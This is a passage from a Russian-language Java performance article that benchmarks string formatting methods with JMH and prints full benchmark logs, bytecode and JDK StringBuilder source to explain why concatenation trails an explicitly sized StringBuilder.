...formatThroughPatternBenchmark avgt 30 1506,341 ± 21,927 ns/op
```
**Результаты бенчмарка целиком**
```
# JMH version: 1.20
# VM version: JDK 1.8.0_161, VM 25.161-b12
# VM invoker: C:\Program Files\Java\jre1.8.0_161\bin\java.exe
# VM options:
# Warmup: 5 iterations, 1500 ms each
# Measurement: 10 iterations, 1500 ms each
# Timeout: 10 min per iteration
# Threads: 1 thread, will synchronize iterations
# Benchmark mode: Average time, time/op
# Benchmark: ru.gnkoshelev.jbreak2018.perf\_tests.strings.OrdinalStringFormatBenchmark.formatThroughBuilderBenchmark
# Run progress: 0,00% complete, ETA 00:04:30
# Fork: 1 of 3
# Warmup Iteration 1: 66,501 ns/op
# Warmup Iteration 2: 60,551 ns/op
# Warmup Iteration 3: 56,899 ns/op
# Warmup Iteration 4: 49,136 ns/op
# Warmup Iteration 5: 48,549 ns/op
Iteration 1: 52,092 ns/op
Iteration 2: 49,894 ns/op
Iteration 3: 54,802 ns/op
Iteration 4: 53,570 ns/op
Iteration 5: 50,592 ns/op
Iteration 6: 51,676 ns/op
Iteration 7: 51,835 ns/op
Iteration 8: 49,216 ns/op
Iteration 9: 53,597 ns/op
Iteration 10: 50,949 ns/op
# Run progress: 8,33% complete, ETA 00:04:13
# Fork: 2 of 3
# Warmup Iteration 1: 64,670 ns/op
# Warmup Iteration 2: 51,154 ns/op
# Warmup Iteration 3: 49,878 ns/op
# Warmup Iteration 4: 49,587 ns/op
# Warmup Iteration 5: 52,958 ns/op
Iteration 1: 53,521 ns/op
Iteration 2: 53,372 ns/op
Iteration 3: 52,264 ns/op
Iteration 4: 50,248 ns/op
Iteration 5: 50,198 ns/op
Iteration 6: 49,958 ns/op
Iteration 7: 49,277 ns/op
Iteration 8: 49,983 ns/op
Iteration 9: 50,250 ns/op
Iteration 10: 50,128 ns/op
# Run progress: 16,67% complete, ETA 00:03:49
# Fork: 3 of 3
# Warmup Iteration 1: 64,392 ns/op
# Warmup Iteration 2: 50,621 ns/op
# Warmup Iteration 3: 48,771 ns/op
# Warmup Iteration 4: 48,909 ns/op
# Warmup Iteration 5: 49,029 ns/op
Iteration 1: 49,144 ns/op
Iteration 2: 48,941 ns/op
Iteration 3: 49,632 ns/op
Iteration 4: 49,275 ns/op
Iteration 5: 48,470 ns/op
Iteration 6: 48,599 ns/op
Iteration 7: 50,489 ns/op
Iteration 8: 48,866 ns/op
Iteration 9: 50,790 ns/op
Iteration 10: 49,945 ns/op
Result "ru.gnkoshelev.jbreak2018.perf\_tests.strings.OrdinalStringFormatBenchmark.formatThroughBuilderBenchmark":
50,719 ±(99.9%) 1,139 ns/op [Average]
(min, avg, max) = (48,470, 50,719, 54,802), stdev = 1,704
CI (99.9%): [49,580, 51,858] (assumes normal distribution)
# JMH version: 1.20
# VM version: JDK 1.8.0\_161, VM 25.161-b12
# VM invoker: C:\Program Files\Java\jre1.8.0\_161\bin\java.exe
# VM options:
# Warmup: 5 iterations, 1500 ms each
# Measurement: 10 iterations, 1500 ms each
# Timeout: 10 min per iteration
# Threads: 1 thread, will synchronize iterations
# Benchmark mode: Average time, time/op
# Benchmark: ru.gnkoshelev.jbreak2018.perf\_tests.strings.OrdinalStringFormatBenchmark.formatThroughConcatenationBenchmark
# Run progress: 25,00% complete, ETA 00:03:26
# Fork: 1 of 3
# Warmup Iteration 1: 64,954 ns/op
# Warmup Iteration 2: 49,711 ns/op
# Warmup Iteration 3: 49,847 ns/op
# Warmup Iteration 4: 49,832 ns/op
# Warmup Iteration 5: 48,330 ns/op
Iteration 1: 48,820 ns/op
Iteration 2: 48,948 ns/op
Iteration 3: 48,992 ns/op
Iteration 4: 48,912 ns/op
Iteration 5: 49,423 ns/op
Iteration 6: 51,057 ns/op
Iteration 7: 49,861 ns/op
Iteration 8: 49,339 ns/op
Iteration 9: 49,602 ns/op
Iteration 10: 49,135 ns/op
# Run progress: 33,33% complete, ETA 00:03:03
# Fork: 2 of 3
# Warmup Iteration 1: 63,647 ns/op
# Warmup Iteration 2: 49,904 ns/op
# Warmup Iteration 3: 49,307 ns/op
# Warmup Iteration 4: 48,602 ns/op
# Warmup Iteration 5: 49,369 ns/op
Iteration 1: 49,388 ns/op
Iteration 2: 48,579 ns/op
Iteration 3: 50,546 ns/op
Iteration 4: 50,421 ns/op
Iteration 5: 49,246 ns/op
Iteration 6: 48,432 ns/op
Iteration 7: 49,458 ns/op
Iteration 8: 50,071 ns/op
Iteration 9: 49,405 ns/op
Iteration 10: 49,432 ns/op
# Run progress: 41,67% complete, ETA 00:02:40
# Fork: 3 of 3
# Warmup Iteration 1: 64,515 ns/op
# Warmup Iteration 2: 49,747 ns/op
# Warmup Iteration 3: 49,217 ns/op
# Warmup Iteration 4: 49,306 ns/op
# Warmup Iteration 5: 48,832 ns/op
Iteration 1: 50,280 ns/op
Iteration 2: 50,300 ns/op
Iteration 3: 48,426 ns/op
Iteration 4: 49,774 ns/op
Iteration 5: 48,891 ns/op
Iteration 6: 49,231 ns/op
Iteration 7: 49,051 ns/op
Iteration 8: 48,662 ns/op
Iteration 9: 49,083 ns/op
Iteration 10: 49,724 ns/op
Result "ru.gnkoshelev.jbreak2018.perf\_tests.strings.OrdinalStringFormatBenchmark.formatThroughConcatenationBenchmark":
49,416 ±(99.9%) 0,435 ns/op [Average]
(min, avg, max) = (48,426, 49,416, 51,057), stdev = 0,651
CI (99.9%): [48,981, 49,851] (assumes normal distribution)
# JMH version: 1.20
# VM version: JDK 1.8.0\_161, VM 25.161-b12
# VM invoker: C:\Program Files\Java\jre1.8.0\_161\bin\java.exe
# VM options:
# Warmup: 5 iterations, 1500 ms each
# Measurement: 10 iterations, 1500 ms each
# Timeout: 10 min per iteration
# Threads: 1 thread, will synchronize iterations
# Benchmark mode: Average time, time/op
# Benchmark: ru.gnkoshelev.jbreak2018.perf\_tests.strings.OrdinalStringFormatBenchmark.formatThroughMessageFormatBenchmark
# Run progress: 50,00% complete, ETA 00:02:17
# Fork: 1 of 3
# Warmup Iteration 1: 1469,943 ns/op
# Warmup Iteration 2: 1297,225 ns/op
# Warmup Iteration 3: 1118,280 ns/op
# Warmup Iteration 4: 1008,395 ns/op
# Warmup Iteration 5: 1010,427 ns/op
Iteration 1: 1045,570 ns/op
Iteration 2: 1055,899 ns/op
Iteration 3: 1032,176 ns/op
Iteration 4: 1033,352 ns/op
Iteration 5: 1024,963 ns/op
Iteration 6: 1029,085 ns/op
Iteration 7: 1022,343 ns/op
Iteration 8: 1012,589 ns/op
Iteration 9: 1026,919 ns/op
Iteration 10: 1015,923 ns/op
# Run progress: 58,33% complete, ETA 00:01:54
# Fork: 2 of 3
# Warmup Iteration 1: 1466,094 ns/op
# Warmup Iteration 2: 1164,720 ns/op
# Warmup Iteration 3: 1093,806 ns/op
# Warmup Iteration 4: 999,967 ns/op
# Warmup Iteration 5: 1010,377 ns/op
Iteration 1: 1011,633 ns/op
Iteration 2: 999,827 ns/op
Iteration 3: 1005,580 ns/op
Iteration 4: 1012,595 ns/op
Iteration 5: 1007,700 ns/op
Iteration 6: 1012,898 ns/op
Iteration 7: 1034,821 ns/op
Iteration 8: 1003,250 ns/op
Iteration 9: 1011,014 ns/op
Iteration 10: 1006,375 ns/op
# Run progress: 66,67% complete, ETA 00:01:31
# Fork: 3 of 3
# Warmup Iteration 1: 1572,302 ns/op
# Warmup Iteration 2: 1494,790 ns/op
# Warmup Iteration 3: 1214,017 ns/op
# Warmup Iteration 4: 1057,334 ns/op
# Warmup Iteration 5: 1099,289 ns/op
Iteration 1: 987,605 ns/op
Iteration 2: 990,904 ns/op
Iteration 3: 991,050 ns/op
Iteration 4: 1000,703 ns/op
Iteration 5: 1056,985 ns/op
Iteration 6: 1028,472 ns/op
Iteration 7: 1058,749 ns/op
Iteration 8: 1003,892 ns/op
Iteration 9: 1009,049 ns/op
Iteration 10: 1008,405 ns/op
Result "ru.gnkoshelev.jbreak2018.perf\_tests.strings.OrdinalStringFormatBenchmark.formatThroughMessageFormatBenchmark":
1018,011 ±(99.9%) 12,805 ns/op [Average]
(min, avg, max) = (987,605, 1018,011, 1058,749), stdev = 19,165
CI (99.9%): [1005,206, 1030,815] (assumes normal distribution)
# JMH version: 1.20
# VM version: JDK 1.8.0\_161, VM 25.161-b12
# VM invoker: C:\Program Files\Java\jre1.8.0\_161\bin\java.exe
# VM options:
# Warmup: 5 iterations, 1500 ms each
# Measurement: 10 iterations, 1500 ms each
# Timeout: 10 min per iteration
# Threads: 1 thread, will synchronize iterations
# Benchmark mode: Average time, time/op
# Benchmark: ru.gnkoshelev.jbreak2018.perf\_tests.strings.OrdinalStringFormatBenchmark.formatThroughPatternBenchmark
# Run progress: 75,00% complete, ETA 00:01:08
# Fork: 1 of 3
# Warmup Iteration 1: 2070,487 ns/op
# Warmup Iteration 2: 1660,717 ns/op
# Warmup Iteration 3: 1619,241 ns/op
# Warmup Iteration 4: 1494,624 ns/op
# Warmup Iteration 5: 1554,734 ns/op
Iteration 1: 1516,562 ns/op
Iteration 2: 1503,105 ns/op
Iteration 3: 1501,292 ns/op
Iteration 4: 1501,102 ns/op
Iteration 5: 1487,718 ns/op
Iteration 6: 1486,100 ns/op
Iteration 7: 1496,293 ns/op
Iteration 8: 1543,699 ns/op
Iteration 9: 1564,870 ns/op
Iteration 10: 1645,359 ns/op
# Run progress: 83,33% complete, ETA 00:00:45
# Fork: 2 of 3
# Warmup Iteration 1: 2398,095 ns/op
# Warmup Iteration 2: 1813,653 ns/op
# Warmup Iteration 3: 1597,230 ns/op
# Warmup Iteration 4: 1564,952 ns/op
# Warmup Iteration 5: 1503,908 ns/op
Iteration 1: 1507,203 ns/op
Iteration 2: 1489,109 ns/op
Iteration 3: 1484,389 ns/op
Iteration 4: 1490,826 ns/op
Iteration 5: 1487,540 ns/op
Iteration 6: 1503,939 ns/op
Iteration 7: 1511,837 ns/op
Iteration 8: 1506,471 ns/op
Iteration 9: 1502,044 ns/op
Iteration 10: 1514,643 ns/op
# Run progress: 91,67% complete, ETA 00:00:22
# Fork: 3 of 3
# Warmup Iteration 1: 2069,954 ns/op
# Warmup Iteration 2: 1857,799 ns/op
# Warmup Iteration 3: 1664,149 ns/op
# Warmup Iteration 4: 1586,673 ns/op
# Warmup Iteration 5: 1500,493 ns/op
Iteration 1: 1475,253 ns/op
Iteration 2: 1472,748 ns/op
Iteration 3: 1492,754 ns/op
Iteration 4: 1509,337 ns/op
Iteration 5: 1490,256 ns/op
Iteration 6: 1487,948 ns/op
Iteration 7: 1507,194 ns/op
Iteration 8: 1487,571 ns/op
Iteration 9: 1486,298 ns/op
Iteration 10: 1536,766 ns/op
Result "ru.gnkoshelev.jbreak2018.perf\_tests.strings.OrdinalStringFormatBenchmark.formatThroughPatternBenchmark":
1506,341 ±(99.9%) 21,927 ns/op [Average]
(min, avg, max) = (1472,748, 1506,341, 1645,359), stdev = 32,819
CI (99.9%): [1484,414, 1528,268] (assumes normal distribution)
# Run complete. Total time: 00:04:35
Benchmark Mode Cnt Score Error Units
OrdinalStringFormatBenchmark.formatThroughBuilderBenchmark avgt 30 50,719 ± 1,139 ns/op
OrdinalStringFormatBenchmark.formatThroughConcatenationBenchmark avgt 30 49,416 ± 0,435 ns/op
OrdinalStringFormatBenchmark.formatThroughMessageFormatBenchmark avgt 30 1018,011 ± 12,805 ns/op
OrdinalStringFormatBenchmark.formatThroughPatternBenchmark avgt 30 1506,341 ± 21,927 ns/op
```
#### Что вообще произошло?
1. `String.format()` ожидаемо оказался самым медленным результатом — это и применение регулярок, и создание вспомогательных объектов, и множество валидаций строки шаблона и аргументов. Если сравнивать с `MessageFormat.format()`, который у нас вне конкурса, то по наблюдениям на разных шаблонах можно получить разные результаты — в каких-то случаях быстрее один способ, в каких-то другой. В нашем случае `MessageFormat.format()` оказался быстрее. При этом его результат можно было ещё существенно ускорить, если переиспользовать объект `MessageFormat` повторно, — в этом случае будут сэкономлены ресурсы на парсинг шаблона.
2. Использование `StringBuilder` и обычной конкатенации дали одинаковый результат. Чуть большее время бенчмарка со `StringBuilder` — ~~обман зрения~~ результат незначительных флуктуаций.
### Ещё один бенчмарк и подтверждение мифа?
Позволю себе ещё один бенчмарк. Будем форматировать строки в том виде, в каком их просит Graphite (средство для сбора метрик):
```
<метрика> <значение>
```
**Код форматирования**
```
package ru.gnkoshelev.jbreak2018.perf_tests.strings;
import java.text.MessageFormat;
/**
* Created by kgn on 18.03.2018.
*/
public class MetricsFormat {
public static String formatThroughPattern(String metrics, int value, long timestamp) {
return String.format(
"%s %d %d",
metrics, value, timestamp);
}
public static String formatThroughConcatenation(String metrics, int value, long timestamp) {
return metrics + " " + value + " " + timestamp;
}
public static String formatThroughBuilder(String metrics, int value, long timestamp) {
return new StringBuilder(metrics)
.append(" ")
.append(value)
.append(" ")
.append(timestamp)
.toString();
}
public static String formatThroughMessageFormat(String metrics, int value, long timestamp) {
return MessageFormat.format(
"{0} {1} {2}",
metrics, String.valueOf(value), String.valueOf(timestamp));
}
}
```
И кусок бенчмарка (полный код всех бенчмарков доступен на [github](https://github.com/gnkoshelev/jbreak2018-strings-perf-tests)):
```
@Fork(value = 3, warmups = 0)
@Warmup(iterations = 5, time = 1_500, timeUnit = TimeUnit.MILLISECONDS)
@Measurement(iterations = 10, time = 1_500, timeUnit = TimeUnit.MILLISECONDS)
@OutputTimeUnit(value = TimeUnit.NANOSECONDS)
@BenchmarkMode(Mode.AverageTime)
@State(Scope.Benchmark)
public class MetricsFormatBenchmark {
public String metrics;
public int value;
public long timestamp;
@Setup
public void setup() {
metrics = "my-awesome-project"
+ ".my-awesome-microservice-of-my-awesome-project"
+ ".my-host-for-my-awesome-microservice-of-my-awesome-project"
+ ".my-custom-metric-from-my-host-of-my-awesome-microservice-of-my-awesome-project"
+ ".p99-for-my-custom-metric-of-my-awesome-microservice-of-my-awesome-project";
value = 1;
timestamp = 1521331200000L;
}
@Benchmark
public void formatThroughPatternBenchmark(Blackhole bh) {
bh.consume(formatThroughPattern(metrics, value, timestamp));
}
@Benchmark
public void formatThroughConcatenationBenchmark(Blackhole bh) {
bh.consume(formatThroughConcatenation(metrics, value, timestamp));
}
@Benchmark
public void formatThroughBuilderBenchmark(Blackhole bh) {
bh.consume(formatThroughBuilder(metrics, value, timestamp));
}
@Benchmark
public void formatThroughMessageFormatBuilder(Blackhole bh) {
bh.consume(formatThroughMessageFormat(metrics, value, timestamp));
}
}
```
Результаты бенчмарка:
```
Benchmark Mode Cnt Score Error Units
...formatThroughBuilderBenchmark avgt 30 212,410 ± 2,383 ns/op
...formatThroughConcatenationBenchmark avgt 30 340,894 ± 1,759 ns/op
...formatThroughMessageFormatBuilder avgt 30 747,888 ± 16,856 ns/op
...formatThroughPatternBenchmark avgt 30 1432,906 ± 10,302 ns/op
```
**Результаты бенчмарка целиком**
```
# JMH version: 1.20
# VM version: JDK 1.8.0_161, VM 25.161-b12
# VM invoker: C:\Program Files\Java\jre1.8.0_161\bin\java.exe
# VM options:
# Warmup: 5 iterations, 1500 ms each
# Measurement: 10 iterations, 1500 ms each
# Timeout: 10 min per iteration
# Threads: 1 thread, will synchronize iterations
# Benchmark mode: Average time, time/op
# Benchmark: ru.gnkoshelev.jbreak2018.perf\_tests.strings.MetricsFormatBenchmark.formatThroughBuilderBenchmark
# Run progress: 0,00% complete, ETA 00:04:30
# Fork: 1 of 3
# Warmup Iteration 1: 364,237 ns/op
# Warmup Iteration 2: 225,585 ns/op
# Warmup Iteration 3: 214,730 ns/op
# Warmup Iteration 4: 208,999 ns/op
# Warmup Iteration 5: 209,362 ns/op
Iteration 1: 211,761 ns/op
Iteration 2: 210,992 ns/op
Iteration 3: 210,520 ns/op
Iteration 4: 210,215 ns/op
Iteration 5: 210,570 ns/op
Iteration 6: 211,235 ns/op
Iteration 7: 211,023 ns/op
Iteration 8: 210,616 ns/op
Iteration 9: 222,262 ns/op
Iteration 10: 224,458 ns/op
# Run progress: 8,33% complete, ETA 00:04:12
# Fork: 2 of 3
# Warmup Iteration 1: 318,609 ns/op
# Warmup Iteration 2: 206,168 ns/op
# Warmup Iteration 3: 206,740 ns/op
# Warmup Iteration 4: 210,160 ns/op
# Warmup Iteration 5: 210,540 ns/op
Iteration 1: 208,689 ns/op
Iteration 2: 209,858 ns/op
Iteration 3: 210,219 ns/op
Iteration 4: 208,769 ns/op
Iteration 5: 211,801 ns/op
Iteration 6: 208,374 ns/op
Iteration 7: 211,621 ns/op
Iteration 8: 210,325 ns/op
Iteration 9: 212,575 ns/op
Iteration 10: 213,103 ns/op
# Run progress: 16,67% complete, ETA 00:03:49
# Fork: 3 of 3
# Warmup Iteration 1: 278,328 ns/op
# Warmup Iteration 2: 205,199 ns/op
# Warmup Iteration 3: 211,429 ns/op
# Warmup Iteration 4: 212,721 ns/op
# Warmup Iteration 5: 216,514 ns/op
Iteration 1: 210,979 ns/op
Iteration 2: 214,867 ns/op
Iteration 3: 211,800 ns/op
Iteration 4: 217,169 ns/op
Iteration 5: 212,202 ns/op
Iteration 6: 210,910 ns/op
Iteration 7: 212,878 ns/op
Iteration 8: 215,043 ns/op
Iteration 9: 214,553 ns/op
Iteration 10: 212,912 ns/op
Result "ru.gnkoshelev.jbreak2018.perf\_tests.strings.MetricsFormatBenchmark.formatThroughBuilderBenchmark":
212,410 ±(99.9%) 2,383 ns/op [Average]
(min, avg, max) = (208,374, 212,410, 224,458), stdev = 3,566
CI (99.9%): [210,027, 214,793] (assumes normal distribution)
# JMH version: 1.20
# VM version: JDK 1.8.0\_161, VM 25.161-b12
# VM invoker: C:\Program Files\Java\jre1.8.0\_161\bin\java.exe
# VM options:
# Warmup: 5 iterations, 1500 ms each
# Measurement: 10 iterations, 1500 ms each
# Timeout: 10 min per iteration
# Threads: 1 thread, will synchronize iterations
# Benchmark mode: Average time, time/op
# Benchmark: ru.gnkoshelev.jbreak2018.perf\_tests.strings.MetricsFormatBenchmark.formatThroughConcatenationBenchmark
# Run progress: 25,00% complete, ETA 00:03:26
# Fork: 1 of 3
# Warmup Iteration 1: 461,604 ns/op
# Warmup Iteration 2: 338,344 ns/op
# Warmup Iteration 3: 339,651 ns/op
# Warmup Iteration 4: 341,987 ns/op
# Warmup Iteration 5: 341,775 ns/op
Iteration 1: 340,811 ns/op
Iteration 2: 340,931 ns/op
Iteration 3: 341,112 ns/op
Iteration 4: 341,395 ns/op
Iteration 5: 338,871 ns/op
Iteration 6: 337,875 ns/op
Iteration 7: 346,943 ns/op
Iteration 8: 339,328 ns/op
Iteration 9: 335,932 ns/op
Iteration 10: 338,702 ns/op
# Run progress: 33,33% complete, ETA 00:03:03
# Fork: 2 of 3
# Warmup Iteration 1: 470,278 ns/op
# Warmup Iteration 2: 334,495 ns/op
# Warmup Iteration 3: 336,727 ns/op
# Warmup Iteration 4: 339,971 ns/op
# Warmup Iteration 5: 339,774 ns/op
Iteration 1: 339,405 ns/op
Iteration 2: 339,588 ns/op
Iteration 3: 340,777 ns/op
Iteration 4: 345,855 ns/op
Iteration 5: 342,180 ns/op
Iteration 6: 337,955 ns/op
Iteration 7: 345,554 ns/op
Iteration 8: 337,636 ns/op
Iteration 9: 345,226 ns/op
Iteration 10: 339,453 ns/op
# Run progress: 41,67% complete, ETA 00:02:40
# Fork: 3 of 3
# Warmup Iteration 1: 473,061 ns/op
# Warmup Iteration 2: 334,747 ns/op
# Warmup Iteration 3: 340,089 ns/op
# Warmup Iteration 4: 334,962 ns/op
# Warmup Iteration 5: 334,361 ns/op
Iteration 1: 338,737 ns/op
Iteration 2: 338,276 ns/op
Iteration 3: 340,775 ns/op
Iteration 4: 341,302 ns/op
Iteration 5: 342,850 ns/op
Iteration 6: 341,880 ns/op
Iteration 7: 342,687 ns/op
Iteration 8: 343,406 ns/op
Iteration 9: 341,336 ns/op
Iteration 10: 340,047 ns/op
Result "ru.gnkoshelev.jbreak2018.perf\_tests.strings.MetricsFormatBenchmark.formatThroughConcatenationBenchmark":
340,894 ±(99.9%) 1,759 ns/op [Average]
(min, avg, max) = (335,932, 340,894, 346,943), stdev = 2,632
CI (99.9%): [339,136, 342,653] (assumes normal distribution)
# JMH version: 1.20
# VM version: JDK 1.8.0\_161, VM 25.161-b12
# VM invoker: C:\Program Files\Java\jre1.8.0\_161\bin\java.exe
# VM options:
# Warmup: 5 iterations, 1500 ms each
# Measurement: 10 iterations, 1500 ms each
# Timeout: 10 min per iteration
# Threads: 1 thread, will synchronize iterations
# Benchmark mode: Average time, time/op
# Benchmark: ru.gnkoshelev.jbreak2018.perf\_tests.strings.MetricsFormatBenchmark.formatThroughMessageFormatBuilder
# Run progress: 50,00% complete, ETA 00:02:17
# Fork: 1 of 3
# Warmup Iteration 1: 1174,256 ns/op
# Warmup Iteration 2: 955,340 ns/op
# Warmup Iteration 3: 833,853 ns/op
# Warmup Iteration 4: 743,211 ns/op
# Warmup Iteration 5: 749,805 ns/op
Iteration 1: 736,922 ns/op
Iteration 2: 739,920 ns/op
Iteration 3: 745,799 ns/op
Iteration 4: 749,026 ns/op
Iteration 5: 753,321 ns/op
Iteration 6: 756,947 ns/op
Iteration 7: 748,437 ns/op
Iteration 8: 745,221 ns/op
Iteration 9: 743,668 ns/op
Iteration 10: 749,899 ns/op
# Run progress: 58,33% complete, ETA 00:01:54
# Fork: 2 of 3
# Warmup Iteration 1: 1093,949 ns/op
# Warmup Iteration 2: 904,903 ns/op
# Warmup Iteration 3: 888,462 ns/op
# Warmup Iteration 4: 756,249 ns/op
# Warmup Iteration 5: 842,296 ns/op
Iteration 1: 729,334 ns/op
Iteration 2: 797,580 ns/op
Iteration 3: 736,540 ns/op
Iteration 4: 741,176 ns/op
Iteration 5: 731,403 ns/op
Iteration 6: 732,560 ns/op
Iteration 7: 767,631 ns/op
Iteration 8: 731,333 ns/op
Iteration 9: 731,261 ns/op
Iteration 10: 753,285 ns/op
# Run progress: 66,67% complete, ETA 00:01:31
# Fork: 3 of 3
# Warmup Iteration 1: 1156,247 ns/op
# Warmup Iteration 2: 1031,444 ns/op
# Warmup Iteration 3: 849,080 ns/op
# Warmup Iteration 4: 730,123 ns/op
# Warmup Iteration 5: 724,077 ns/op
Iteration 1: 729,569 ns/op
Iteration 2: 781,161 ns/op
Iteration 3: 716,803 ns/op
Iteration 4: 724,149 ns/op
Iteration 5: 818,748 ns/op
Iteration 6: 815,800 ns/op
Iteration 7: 728,733 ns/op
Iteration 8: 727,143 ns/op
Iteration 9: 734,503 ns/op
Iteration 10: 738,770 ns/op
Result "ru.gnkoshelev.jbreak2018.perf\_tests.strings.MetricsFormatBenchmark.formatThroughMessageFormatBuilder":
747,888 ±(99.9%) 16,856 ns/op [Average]
(min, avg, max) = (716,803, 747,888, 818,748), stdev = 25,229
CI (99.9%): [731,032, 764,744] (assumes normal distribution)
# JMH version: 1.20
# VM version: JDK 1.8.0\_161, VM 25.161-b12
# VM invoker: C:\Program Files\Java\jre1.8.0\_161\bin\java.exe
# VM options:
# Warmup: 5 iterations, 1500 ms each
# Measurement: 10 iterations, 1500 ms each
# Timeout: 10 min per iteration
# Threads: 1 thread, will synchronize iterations
# Benchmark mode: Average time, time/op
# Benchmark: ru.gnkoshelev.jbreak2018.perf\_tests.strings.MetricsFormatBenchmark.formatThroughPatternBenchmark
# Run progress: 75,00% complete, ETA 00:01:08
# Fork: 1 of 3
# Warmup Iteration 1: 2117,334 ns/op
# Warmup Iteration 2: 1622,235 ns/op
# Warmup Iteration 3: 1431,764 ns/op
# Warmup Iteration 4: 1431,065 ns/op
# Warmup Iteration 5: 1438,533 ns/op
Iteration 1: 1420,598 ns/op
Iteration 2: 1492,345 ns/op
Iteration 3: 1419,019 ns/op
Iteration 4: 1425,040 ns/op
Iteration 5: 1423,276 ns/op
Iteration 6: 1428,505 ns/op
Iteration 7: 1435,056 ns/op
Iteration 8: 1432,752 ns/op
Iteration 9: 1427,263 ns/op
Iteration 10: 1436,453 ns/op
# Run progress: 83,33% complete, ETA 00:00:45
# Fork: 2 of 3
# Warmup Iteration 1: 2111,790 ns/op
# Warmup Iteration 2: 1603,000 ns/op
# Warmup Iteration 3: 1427,974 ns/op
# Warmup Iteration 4: 1437,411 ns/op
# Warmup Iteration 5: 1438,924 ns/op
Iteration 1: 1423,295 ns/op
Iteration 2: 1429,621 ns/op
Iteration 3: 1428,471 ns/op
Iteration 4: 1434,627 ns/op
Iteration 5: 1439,802 ns/op
Iteration 6: 1441,290 ns/op
Iteration 7: 1438,296 ns/op
Iteration 8: 1441,198 ns/op
Iteration 9: 1456,831 ns/op
Iteration 10: 1443,969 ns/op
# Run progress: 91,67% complete, ETA 00:00:22
# Fork: 3 of 3
# Warmup Iteration 1: 2149,129 ns/op
# Warmup Iteration 2: 1608,200 ns/op
# Warmup Iteration 3: 1406,910 ns/op
# Warmup Iteration 4: 1413,134 ns/op
# Warmup Iteration 5: 1413,094 ns/op
Iteration 1: 1409,053 ns/op
Iteration 2: 1417,015 ns/op
Iteration 3: 1423,907 ns/op
Iteration 4: 1419,448 ns/op
Iteration 5: 1425,128 ns/op
Iteration 6: 1425,369 ns/op
Iteration 7: 1428,064 ns/op
Iteration 8: 1432,042 ns/op
Iteration 9: 1433,438 ns/op
Iteration 10: 1455,998 ns/op
Result "ru.gnkoshelev.jbreak2018.perf\_tests.strings.MetricsFormatBenchmark.formatThroughPatternBenchmark":
1432,906 ±(99.9%) 10,302 ns/op [Average]
(min, avg, max) = (1409,053, 1432,906, 1492,345), stdev = 15,420
CI (99.9%): [1422,604, 1443,208] (assumes normal distribution)
# Run complete. Total time: 00:04:35
Benchmark Mode Cnt Score Error Units
MetricsFormatBenchmark.formatThroughBuilderBenchmark avgt 30 212,410 ± 2,383 ns/op
MetricsFormatBenchmark.formatThroughConcatenationBenchmark avgt 30 340,894 ± 1,759 ns/op
MetricsFormatBenchmark.formatThroughMessageFormatBuilder avgt 30 747,888 ± 16,856 ns/op
MetricsFormatBenchmark.formatThroughPatternBenchmark avgt 30 1432,906 ± 10,302 ns/op
```
#### Что вообще произошло?
1. `String.format()` и `MessageFormat.format()` нам не так интересны.
2. Результат `StringBuilder` оказался лучше примерно в 1.5 раза. И тут уже не до случайностей.
### Глубже в байткод, дальше в исходники
Чтобы разобраться в происходящем, глянем на байткод, который получился в результате компиляции наших методов в `MetricsFormat`:
```
public static java.lang.String formatThroughConcatenation(java.lang.String, int, long);
Code:
0: new #7 // class java/lang/StringBuilder
3: dup
4: invokespecial #8 // Method java/lang/StringBuilder."":()V
7: aload\_0
8: invokevirtual #9 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
11: ldc #10 // String
13: invokevirtual #9 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
16: iload\_1
17: invokevirtual #11 // Method java/lang/StringBuilder.append:(I)Ljava/lang/StringBuilder;
20: ldc #10 // String
22: invokevirtual #9 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
25: lload\_2
26: invokevirtual #12 // Method java/lang/StringBuilder.append:(J)Ljava/lang/StringBuilder;
29: invokevirtual #13 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
32: areturn
public static java.lang.String formatThroughBuilder(java.lang.String, int, long);
Code:
0: new #7 // class java/lang/StringBuilder
3: dup
4: aload\_0
5: invokespecial #14 // Method java/lang/StringBuilder."":(Ljava/lang/String;)V
8: ldc #10 // String
10: invokevirtual #9 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
13: iload\_1
14: invokevirtual #11 // Method java/lang/StringBuilder.append:(I)Ljava/lang/StringBuilder;
17: ldc #10 // String
19: invokevirtual #9 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
22: lload\_2
23: invokevirtual #12 // Method java/lang/StringBuilder.append:(J)Ljava/lang/StringBuilder;
26: invokevirtual #13 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
29: areturn
```
Разберём в деталях, что мы видим:
1. В методе, где была конкатенация строк, сейчас создание объекта `StringBuilder`.
2. Тела методов очень похожи, но отличаются способом создания `StringBuilder` — в случае самописного использования `StringBuilder` вызывается конструктор, принимающий строку на вход, а в варианте с конкатенацией `StringBuilder` создаётся путём вызова пустого конструктора.
3. В результате создания *пустого* `StringBuilder` требуется дополнительный вызов `StringBuilder.append()`.
Как так получилось, что один единственный дополнительный вызов `StringBuilder.append()` привёл к снижению производительности?
Посмотрим на конструкторы:
```
public StringBuilder() {
super(16);
}
public StringBuilder(String str) {
super(str.length() + 16);
append(str);
}
```
Оказывается, что и append-то никуда не делся — он вызывается внутри конструктора. Тем не менее, ответ кроется в этом участке кода, а именно в числе **16**: авторы `StringBuilder` предусмотрительно выделили дополнительное место под 16 символов в буфере при создании объекта.
Когда мы создали `StringBuilder` и положили в него первую строку `metrics`, передав её в конструкторе, у нас ещё оставалось 16 символов в запасе, прежде чем нужно будет расширить буфер (массив символов `AbstractStringBuilder.value`). По *случайному* совпадению два пробела, число 1 и значение `timestamp` уложились ровно в 16 символов.
С другой стороны, созданный пустым `StringBuilder` оказался не готов вместить в себя строку metrics и буфер был пересоздан. Но и тут всё оказывается не так просто.
Интересующий нас кусок кода `AbstractStringBuilder`:
```
public AbstractStringBuilder append(String str) {
if (str == null)
return appendNull();
int len = str.length();
ensureCapacityInternal(count + len);
str.getChars(0, len, value, count);
count += len;
return this;
}
private void ensureCapacityInternal(int minimumCapacity) {
// overflow-conscious code
if (minimumCapacity - value.length > 0) {
value = Arrays.copyOf(value,
newCapacity(minimumCapacity));
}
}
private int newCapacity(int minCapacity) {
// overflow-conscious code
int newCapacity = (value.length << 1) + 2;
if (newCapacity - minCapacity < 0) {
newCapacity = minCapacity;
}
